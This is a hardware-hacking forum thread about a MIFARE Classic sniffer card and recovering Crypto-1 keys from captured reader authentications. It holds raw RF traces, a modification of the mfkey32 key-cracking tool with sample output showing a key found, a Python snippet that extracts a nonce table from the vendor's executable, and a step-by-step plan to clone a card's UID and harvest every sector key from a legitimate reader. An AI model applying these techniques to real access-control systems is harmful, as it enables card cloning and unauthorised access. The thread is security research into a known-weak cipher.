+ 62: 0: TAG 04 00 + 1480: : 93 70 00 00 00 00 00 9c d9 + 66: 0: TAG 08 b6 dd + 10388: : 60 12 66 48 + 359: 0: TAG 04 27 1d 23 + 668: : 6c c0 52 e3 af 72 50 26 !crc + 52131: : 52 + 62: 0: TAG 04 00 + 1480: : 93 70 00 00 00 00 00 9c d9 + 66: 0: TAG 08 b6 dd + 10: 0: TAG 6c c0 52 e3 af 72 50 26 38 30 +1375512: : 52 + 4752: : 52 + 64: 0: TAG 04 00 + 1483: : 93 70 00 00 00 00 00 9c d9 + 63: 0: TAG 08 b6 dd + 10382: : 60 13 ef 59 + 318: 0: TAG 05 97 9c c4 + 666: : 65 fc bd 43 47 c6 3c 7f !crc + 52128: : 52 + 66: 0: TAG 04 00 + 1480: : 93 70 00 00 00 00 00 9c d9 + 64: 0: TAG 08 b6 dd + 12: 0: TAG 65 fc bd 43 47 c6 3c 7f 75 15 +1375523: : 52 + 4755: : 52
=========================================
What the proggie is sneding to retrive the key... BBFFFFFFFFFF
+ 1710: : 93 70 00 00 00 00 00 9c d9 + 238: 0: TAG 1d! + 189448: : 52 + 4748: : 52 + 1712: : 93 70 00 00 00 00 00 9c d9 + 189759: : 52 + 4750: : 52 + 1712: : 93 70 00 00 00 00 00 9c d9 + 162: 0: TAG 56 3b + 189448: : 52 + 4752: : 52 + 64: 0: TAG 04 00 + 1487: : 93 70 00 00 00 00 00 9c d9 + 95387: : 26 + 20412: : 93 20 + 7200: : 93 70 00 00 00 00 00 9c d9 + 64: 0: TAG 08 b6 dd + 5979: : e0 50 bc a5 + 191: 0: TAG 09 78 00 91 02 da bc 19 !crc + 38: 0: TAG 00 5f! 08 + 7802: : 0a 00 00 a6 b0 00 10 14 1d + 1022: 0: TAG c3 c9! 43! d2 cc 7d! f2! 82! cb 45! 88! 46 ba! f3 a0! d5 c8 80! a6! bf !crc + 8916: : 0b 00 00 a6 b0 01 10 19 9b + 770978: : 0a 00 00 a6 c0 00 00 4d 8d +1382868: : 52 + 4752: : 52 + 4756: : 52 + 4752: : 52
==========================================
what the proggie is sending to retrieve the key... 000000000000+ 66: 0: TAG 04 00 + 21291: : 93 20 + 63: 0: TAG 00 00 00 00 00 + 6758: : 93 70 00 00 00 00 00 9c d9 + 62: 0: TAG 08 b6 dd + 5920: : e0 50 bc a5 + 194: 0: TAG 09 78 00 91 02 da bc 19 10 f0 05 + 8108: : 0a 00 00 a6 b0 00 10 14 1d + 872: 0: TAG 0a 00 d6 80 f8 d7 75 bb dd f1 ec f7 d6 0d 5c a0 72 52 90 00 f0 e2 + 9667: : 0b 00 00 a6 b0 01 10 19 9b + 882: 0: TAG 05! 80 b6 0d! 2b 36! dc b5 f8! 47! 75! 7b c0! 2c! 77 09! da df c8 80! c9 d2! !crc + 494638: : 0a 00 00 a6 c0 00 00 4d 8d + 9742: 0: TAG 0a 00 90 00 f3 93
==========================================
I also tried to authenticate using the same to two different sectors, and It successfully managed to crack the key... (of course.. the attack doesn't care about that...)
==========================================
=================================================
two auths using DDDDDDDDDDDD as key+ 66: 0: TAG 04 00 + 1480: : 93 70 00 00 00 00 00 9c d9 + 64: 0: TAG 08 b6 dd + 10391: : 60 08 bd f7 + 359: 0: TAG a1 da 88 b1 + 667: : 19 93 51 ac d2 54 93 77 !crc + 52130: : 52 + 64: 0: TAG 04 00 + 1483: : 93 70 00 00 00 00 00 9c d9 + 10690: : 60 22 e5 79 + 318: 0: TAG a0 6a 09 56 + 667: : 8f 17 bd 9d 6b 41 13 c2 !crc + 52136: : 52
and now trying to retrieve the key:
+ 21618: : 93 20 + 62: 0: TAG 00 00 00 00 00 + 6752: : 93 70 00 00 00 00 00 9c d9 + 66: 0: TAG 08 b6 dd + 5876: : e0 50 bc a5 + 192: 0: TAG 09 78 00 91 02 da bc 19 10 f0 05 + 7899: : 0a 00 00 a6 b0 00 10 14 1d + 12144: : 0b 00 00 a6 b0 01 10 19 9b + 874: 0: TAG 0b 00 68 6b 6c 05 c7 6c e1 0d fa 87 61 a0 df b0 00 7a 90 00 c9 ef + 577615: : 0a 00 00 a6 c0 00 00 4d 8d
==========================================================
again with DDDDDDDDDDDD (blocks 8 and 22)+ 62: 0: TAG 04 00 + 1480: : 93 70 00 00 00 00 00 9c d9 + 66: 0: TAG 08 b6 dd + 10380: : 60 08 bd f7 + 360: 0: TAG 7d f0 ee e5 + 668: : b0 76 f4 d0 83 84 29 88 !crc + 52131: : 52 + 1714: : 93 70 00 00 00 00 00 9c d9 + 10692: : 60 22 e5 79 + 320: 0: TAG 7c 40 6f 02 + 668: : 16 e1 d7 0e 60 4d e4 10 !crc + 52135: : 52
getting the key again...:
+ 62: 0: TAG 04 00 + 20944: : 93 20 + 66: 0: TAG 00 00 00 00 00 + 7856: : 93 70 00 00 00 00 00 9c d9 + 6222: : e0 50 bc a5 + 418: 0: TAG 48! 01 6d 5e! 0c! 08 f8! 82! !crc + 8000: : 0a 00 00 a6 b0 00 10 14 1d + 874: 0: TAG 0a 00 6d 15 21 50 12 51 e8 d4 f6 d3 e4 26 10 30 8c fe 90 00 3a cf + 9468: : 0b 00 00 a6 b0 01 10 19 9b + 872: 0: TAG 0b 00 d2 84 a0 f6 88 12 bd cd dd 64 90 8a 7a 7e a9 c1 90 00 e2 bd + 549018: : 0a 00 00 a6 c0 00 00 4d 8d + 9746: 0: TAG 0a 00 90 00 f3 93 +1372672: : 52
===============================================================
same as above...:
+ 64: 0: TAG 04 00 + 1483: : 93 70 00 00 00 00 00 9c d9 + 63: 0: TAG 08 b6 dd + 10390: : 60 08 bd f7 + 358: 0: TAG 6f ef 22 1e + 666: : bd 3e 0c a5 d5 e8 44 cc !crc + 52128: : 52 + 66: 0: TAG 04 00 + 1480: : 93 70 00 00 00 00 00 9c d9 + 64: 0: TAG 08 b6 dd + 10387: : 60 22 e5 79 + 319: 0: TAG 6e 5f a3 f9 + 667: : c7 4f 96 4a 22 69 7f 3d !crc + 52142: : 52
getting the key again key:
+ 62: 0: TAG 04 00 + 21084: : 93 20 + 7404: : 93 70 00 00 00 00 00 9c d9 + 6430: : e0 50 bc a5 + 190: 0: TAG 09 78 00 91 02 da bc 19 10 f0 05 + 7568: : 0a ff fe !crc + 1310: 0: TAG 0a 00 2c a0 90 97 d4 67 a8 2c 43 14 b8 2d 54 8d 6a 2a 90 00 79 2a + 9664: : 0b 00 00 a6 b0 01 10 19 9b + 864: 0: TAG 0b 00 1d 55 50 a8 ff 53 82 86 25 8f 53 fd 5f 27 31 c4 90 00 ac f0 + 892858: : 0a 00 00 a6 c0 00 00 4d 8d + 9746: 0: TAG 0a 00 90 00 f3 93 +1372676: : 52
=======================
So well, I really don't know what the hell this proggie is doing but it's doing it right.
BUT, as you can see, it's not using the same tag nonce in every auth so the attack in mfkey32 won't work...
One thing I noticed is that if you XOR both tag nonces, you'll always get the same difference... that is kind of weird for me right now..
Well, so my last effort was to try to modify mfkey to use two different tag nonces... and it was really easy to have some working version...
you need to add a new var, called nt1 and change this part of the code:
crypto1_get_lfsr(t, &key);
crypto1_word(t, uid ^ nt1, 0); ----> here!
crypto1_word(t, nr1_enc, 1);and compare the second ar (ar1) with nt1's such, like this:
if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64)
so, basically, with the first auth you'll have 32bits of info with 65535 different keys in a bag... then you have to compare every single possible key of that bag rolling back the state and trying to encrypt the second auth info... if both match, then the key is the one you're trying in that moment... let me show you some verbose output:
kandinsky:mfcrack moebius$ ./32_mod 00000000 d469d535 d5d954d2 8b2c6105 ea57c556 3805e1ef 59c7f613
MIFARE Classic key recovery - based 32 bits of keystream
Recover key from two 32-bit reader authentication answers only!Recovering key for:
uid: 00000000
nt: d469d535
nt1: d5d954d2
{nr_0}: 8b2c6105
{ar_0}: ea57c556
{nr_1}: 3805e1ef
{ar_1}: 59c7f613Keystream used to generate {ar} and {at}:
ks2: 5cf59d0d
{ar_1}: 1506276883trying Key: [755071e4ec2c]
{ar_1}: 1506276883
trying Key: [306280c79cca]
{ar_1}: 1506276883
trying Key: [108b59f15e2b]
..... ..... .... a lot of comparisons here....
and finally...trying Key: [999999999999]
Found Key: [999999999999]
so well, now we only need to approach to a legit reader twice and get one key from it...
One cool idea is to use the proxmark mifare classic emulator to put it in that state (maybe in standalone mode , with a random key, and approach it to a legit reader and wait for two different readings and save that to big buff or something non volatile (do we have something non volatile in proxmark to save some bytes in it?... sorry for this noob question here and then code the thing I described above inside it, just to recover the first key... the 80USD sniffercard but inside the proxmark
finally, some thoughts.. yes, we already have the possibility to do "mostly" the same thing just using a legit card too and sniff a full txrx k1, k2, k3, etc... maybe someone here can share some situation where this "partial" attack is useful, whatever...
(here's one) ---> there's a key diversification algorithm running on a system and you want to try to reverse eng. it... using this attack and if the key diversification algo is based only on the uid, you can run a lot of different partial auth's using many different uid's on each (of course, you'll need two per uid) getting the key for each uid for later analysis...
well, thank you for reading all of this! cheers and hope yo've found this post useful sorry for typo's, bad spelling, poor english, blah blah
enjoy!
send me this software pls, thx lot
Offline
unfortunantely i don`t have super card, maybe this can do using proxmark3 and chinese cards with changeable uid?
moebius wrote:clayer wrote:Can this card read out multiple keys using sniff
For example reader reads 1, 2, 3 sector.
I need keys from all 3 sectors (Mifare Plus SL1 Crypto-1 card, mfoc don`t work).Nope, You'll able to retrieve the first key for the first auth only. And of course, if crypto1 was used to run the 3waymut.
Is it verified that only the first auth is captured, and not the last? (i.e. first auth is successful, but second auth fails).
If you have a card, consider this feedback procedure:
1. Clone the ID from real to sniffer card
2. Let sniffer card capture the key
3. Use key to read data from real card
4. Write data + key to sniffer cardNow, when the card is presented again, the reader will successfully read the first sector, all is OK, and reader proceeds to the next sector, but fails authentication.
So, perhaps, the card then captures the last autentication attempt, these keys can be extracted, and this process can be repeated until all keys are extracted.
Offline
steve wrote:Then two unknown bytes (cb d4)
...
But where's the tag nonce (8d 1b c3 a6)?This two bytes is the tag nonce. This is offset on table (65536 x 4 bytes) in original сhinese program
A followup on this mapping table if anyone is interested (I was a year ago, but finally got around to figuring it out).
The table can be found by byte searching for the tag nonce in reverse order, e.g.
$ md5sum Sniffer_Card.exe
3d8c0dc05e8d066e4b35d74ede3ade66 Sniffer_Card.exe
$ hd Sniffer_Card.exe | grep --color -C 1 'a6 c3 1b 8d'
000415a0 6f 76 a7 7d 7e 61 10 cd 88 49 92 1d 92 30 15 6d |ov.}~a...I...0.m|
000415b0 64 18 97 bd a6 c3 1b 8d 50 eb 99 5d 4a 92 1e 2d |d.......P..]J..-|
000415c0 bc ba 9c fd cf 25 06 4d 39 0d 84 9d 23 74 03 ed |.....%.M9...#t..|
and from there calculate the table offset given the "unknown bytes", 0x415b4 - 4*0xcbd4 = 0xe664.
From there, just extract 4*64 kbyte. Here's a python snippet showing how to get the nonces:
with open('Sniffer_Card.exe', 'rb') as f:
data=f.read()
# exe md5 must be 3d8c0dc05e8d066e4b35d74ede3ade66
# or you need to adjust the start below based on finding the offset for nonce a6 c3 1b 8d (=0xcbd4)
start = 0x415b4 - 4*0xcbd4
stop = start + 4*65536
table=data[start:stop]
n1=0xcbd4 # from the decrypted card responses
n2=0x9901
print("nt_0 is {}".format(' '.join(x.encode('hex') for x in reversed(table[4*n1:4*n1+4]))))
print("nt_1 is {}".format(' '.join(x.encode('hex') for x in reversed(table[4*n2:4*n2+4]))))
So now the cycle is complete. The sniffer card can be read, contents decrypted, nonces mapped, and finally key extracted with an adapted mfkey32 tool.
Offline
?I didnt read the whole thread but how did you adapted the mf32key tool?
Offline
?I didnt read the whole thread but how did you adapted the mf32key tool?
The original mfkey32 assumed tha the two captured authentications used the same tag nonce.
The adaptation is about handling two different nonces.
This is decribed/implemented by Moebius in post 57 in this thread (http://www.proxmark.org/forum/viewtopic.php?id=1649&p=3 )
Functional code is at https://github.com/alfs/KeyExtractor/tr … /main/jni/ (see mfkey.c and the main-code; Ive ripped out the cmd-line parsing since I now use it only as an api, but the main() function shows how it's used.)
Offline
hm, in the PM3 master\tools\mfkey folder, the version there uses 1 nonce to find a key and the other one to verify the key.
Which change did Mobieus do? or is his changes already in the source?...
Offline
The git version I just checked out only requires one tag nonce to be entered, which (as far I understand) requires that the two transactions use the same tag nonce (which proxmark does when doing card simulation).
The most recent git version (commit cda056bb9e8a6b6345cbd1a4034b71f3e3dcd527 of mfkey32.c):
$ ./mfkey32
MIFARE Classic key recovery - based 32 bits of keystream
Recover key from two 32-bit reader authentication answers only!
syntax: ./mfkey32 <uid> <nt> <{nr_0}> <{ar_0}> <{nr_1}> <{ar_1}>
By moebius modification, two transactions with different nonces (as produced by the sniffer card) can be used, e.g.
mfkey32 <uid> <nt0> <nt1> <{nr_0}> <{ar_0}> <{nr_1}> <{ar_1}>
Quote from post #57:
Well, so my last effort was to try to modify mfkey to use two different tag nonces... and it was really easy to have some working version...
you need to add a new var, called nt1 and change this part of the code:
crypto1_get_lfsr(t, &key);
crypto1_word(t, uid ^ nt1, 0); ----> here!
crypto1_word(t, nr1_enc, 1);and compare the second ar (ar1) with nt1's such, like this:
if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64)
so, basically, with the first auth you'll have 32bits of info with 65535 different keys in a bag... then you have to compare every single possible key of that bag rolling back the state and trying to encrypt the second auth info... if both match, then the key is the one you're trying in that moment..
Offline
hm, I tried that implementation now. I fail to see how that is significante different from the one nonce version.
with some fast testing, its doesn't deal with a new tag. I think it only deals with a tag that has a "bad" prng (16bits)
Offline